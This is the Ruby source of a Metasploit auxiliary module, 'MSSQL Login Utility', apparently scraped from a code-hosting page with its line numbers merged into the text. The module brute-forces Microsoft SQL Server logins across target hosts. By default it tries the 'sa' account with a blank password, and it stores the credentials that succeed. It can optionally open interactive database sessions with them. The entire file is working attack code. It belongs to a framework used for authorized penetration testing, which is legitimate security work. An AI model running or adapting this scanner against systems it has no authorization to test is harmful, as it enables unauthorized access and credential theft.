Path: blob/master/modules/auxiliary/scanner/mssql/mssql_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'6require 'metasploit/framework/login_scanner/mssql'7require 'rex/proto/mssql/client'8require 'rex/post/mssql'910class MetasploitModule < Msf::Auxiliary11include Msf::Exploit::Remote::MSSQL12include Msf::Auxiliary::Report13include Msf::Auxiliary::AuthBrute14include Msf::Auxiliary::CommandShell15include Msf::Auxiliary::Scanner16include Msf::Sessions::CreateSessionOptions17include Msf::Auxiliary::ReportSummary1819def initialize20super(21'Name' => 'MSSQL Login Utility',22'Description' => 'This module simply queries the MSSQL instance for a specific user/pass (default is sa with blank).',23'Author' => 'MC',24'References' => [25[ 'CVE', '1999-0506'] # Weak password26],27'License' => MSF_LICENSE,28# some overrides from authbrute since there is a default username and a blank password29'DefaultOptions' => {30'USERNAME' => 'sa',31'BLANK_PASSWORDS' => true,32'CreateSession' => false33}34)35register_options([36Opt::Proxies,37OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),38OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])39])4041if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)42add_info('New in Metasploit 6.4 - The %grnCreateSession%clr option within this module can open an interactive session')43else44options_to_deregister = %w[CreateSession]45end46deregister_options(*options_to_deregister)47end4849def create_session?50if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)51datastore['CreateSession']52else53false54end55end5657def run58results = super59logins = results.flat_map { |_k, v| v[:successful_logins] }60sessions = results.flat_map { |_k, v| v[:successful_sessions] }61print_status("Bruteforce completed, #{logins.size} #{logins.size == 1 ? 'credential was' : 'credentials were'} successful.")62return results unless framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)6364if create_session?65print_status("#{sessions.size} MSSQL #{sessions.size == 1 ? 'session was' : 'sessions were'} opened successfully.")66else67print_status('You can open an MSSQL session with these credentials and %grnCreateSession%clr set to true')68end69results70end7172def run_host(ip)73@print_prefix = '' # remove the redundant prefix because #print_brute will add it74print_brute level: :status, ip: ip, msg: 'MSSQL - Starting authentication scanner.'7576cred_collection = build_credential_collection(77realm: datastore['DOMAIN'],78username: datastore['USERNAME'],79password: datastore['PASSWORD']80)8182scanner = Metasploit::Framework::LoginScanner::MSSQL.new(83configure_login_scanner(84host: ip,85port: rport,86proxies: datastore['PROXIES'],87cred_details: cred_collection,88stop_on_success: datastore['STOP_ON_SUCCESS'],89bruteforce_speed: datastore['BRUTEFORCE_SPEED'],90connection_timeout: 30,91max_send_size: datastore['TCP::max_send_size'],92send_delay: datastore['TCP::send_delay'],93auth: datastore['Mssql::Auth'],94domain_controller_rhost: datastore['DomainControllerRhost'],95hostname: datastore['Mssql::Rhostname'],96tdsencryption: datastore['TDSENCRYPTION'],97framework: framework,98framework_module: self,99use_client_as_proof: create_session?,100ssl: datastore['SSL'],101ssl_version: datastore['SSLVersion'],102ssl_verify_mode: datastore['SSLVerifyMode'],103ssl_cipher: datastore['SSLCipher'],104local_port: datastore['CPORT'],105local_host: datastore['CHOST']106)107)108successful_logins = []109successful_sessions = []110scanner.scan! do |result|111credential_data = result.to_h112credential_data.merge!(113module_fullname: self.fullname,114workspace_id: myworkspace_id115)116if result.success?117credential_core = create_credential(credential_data)118credential_data[:core] = credential_core119create_credential_login(credential_data)120print_brute level: :good, ip: ip, msg: "Login Successful: #{result.credential}"121successful_logins << result122123if create_session?124begin125successful_sessions << session_setup(result)126rescue ::StandardError => e127elog('Failed to setup the session', error: e)128print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"129result.connection.close unless result.connection.nil?130end131end132else133invalidate_login(credential_data)134print_brute level: :verror, ip: ip, msg: "LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"135end136end137{ successful_logins: successful_logins, successful_sessions: successful_sessions }138end139140# @param [Metasploit::Framework::LoginScanner::Result] result141# @return [Msf::Sessions::MSSQL]142def session_setup(result)143return unless (result.connection && result.proof)144145my_session = Msf::Sessions::MSSQL.new(result.connection, { client: result.proof, **result.proof.detect_platform_and_arch })146merge_me = {147'USERPASS_FILE' => nil,148'USER_FILE' => nil,149'PASS_FILE' => nil,150'USERNAME' => result.credential.public,151'PASSWORD' => result.credential.private152}153154start_session(self, nil, merge_me, false, my_session.rstream, my_session)155end156end157158159